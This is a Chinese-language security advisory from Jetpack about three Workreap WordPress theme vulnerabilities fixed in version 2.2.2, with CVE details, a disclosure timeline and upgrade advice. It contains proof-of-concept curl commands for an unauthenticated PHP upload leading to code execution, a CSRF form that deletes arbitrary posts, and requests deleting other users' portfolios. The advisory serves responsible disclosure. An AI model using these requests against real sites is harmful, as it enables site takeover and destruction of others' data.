Amentotech Workreap 主题中的多个漏洞

已发表: 2021-07-07

最近,Jetpack 团队在我们托管的客户网站中发现了一些受感染的文件,并迅速将感染源追溯到 Amentotech 的 Workreap 主题。 我们开始调查并在主题中发现了一些易受攻击的 AJAX 端点; 其中最严重的是未经身份验证的未经验证的上传漏洞,可能导致远程代码执行和整个站点的接管。

我们通过 Envato Helpful Hacker 计划向 Amentotech 团队报告了这些漏洞,他们迅速解决了这些问题。 该主题的 2.2.2 版本于 2021 年 6 月 29 日发布,修复了发现的漏洞。

TL;博士

由于漏洞的严重性,我们强烈建议所有 Workreap 主题用户尽快升级到 2.2.2 或更高版本。

从主题网站下载升级并手动安装,或通过 Envato 市场插件自动升级。

细节

主题名称: Workreap
主题 URI: http://amentotech.com/projects/wpworkreap
作者: Amentotech
作者 URI: https://themeforest.net/user/amentotech/portfolio

漏洞

由于漏洞的严重性,我们将延迟发布概念证明和完整分析,以给用户升级的时间。

未经身份验证的上传导致远程代码执行

受影响的版本: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284、CWE-641、
CWSS: 90.7
WPScan 链接: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

AJAX 操作workreap_award_temp_file_uploaderworkreap_temp_file_uploader没有执行随机数检查,或以任何其他方式验证请求来自有效用户。 端点允许将任意文件上传到uploads/workreap-temp目录。 上传的文件既没有经过清理也没有经过验证,允许未经身份验证的访问者上传可执行代码,例如 php 脚本。

概念证明

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

多个 CSRF + IDOR 漏洞

受影响的版本: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283、CWE-284、CWE-862
CWSS: 78.3
WPScan 链接: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Workreap 主题中可用的几个 AJAX 操作缺乏 CSRF 保护,并且允许未经验证的不安全直接对象引用 (IDOR)。 这允许攻击者欺骗登录用户向易受攻击的站点提交 POST 请求,从而可能修改或删除目标站点上的任意对象。

在 2.0.0 之前的版本中,这些操作完全缺乏身份验证,并且可以被站点的任何访问者利用。

概念证明

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

AJAX 操作中缺少授权检查

受影响的版本: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283、CWE-862
CWSS: 68.5
WPScan 链接: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Workreap 主题中可用的几个 AJAX 操作缺少授权检查,以验证用户是否有权执行关键操作,例如修改或删除对象。 这允许登录用户修改或删除站点上属于其他用户的对象。

在 2.0.0 之前的版本中,这些操作完全缺乏身份验证,并且可以被站点的任何访问者利用。

概念证明

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

时间线

2021-06-24:Jetpack 扫描团队发现的初始上传漏洞,已报告给 Envato Helpful Hacker 程序。
2021-06-25:记录了发现的更多漏洞,Amentotech 通过 Envato 通知。
2021-06-27:版本 2.2.1 发布,解决了部分但不是全部漏洞。
2021-06-29:版本 2.2.2 发布,并由 Jetpack 扫描团队验证修复。

结论

我们建议您检查您在网站上使用的 Workreap 主题的当前版本,如果低于 2.2.2,请尽快更新!

在 Jetpack,我们努力确保您的网站免受此类漏洞的影响。 要领先任何新威胁一步,请查看 Jetpack Scan,其中包括安全扫描和自动恶意软件删除。

学分

原始研究员:Harald Eilertsen

感谢 Jetpack Scan 团队的其他成员提供反馈、帮助和更正。 还要感谢 Envato Helpful Hacker 计划的 kailoon 帮助与 Amentotech 取得联系,并感谢 Amentotech 在解决问题和发布更新版本方面的迅速响应。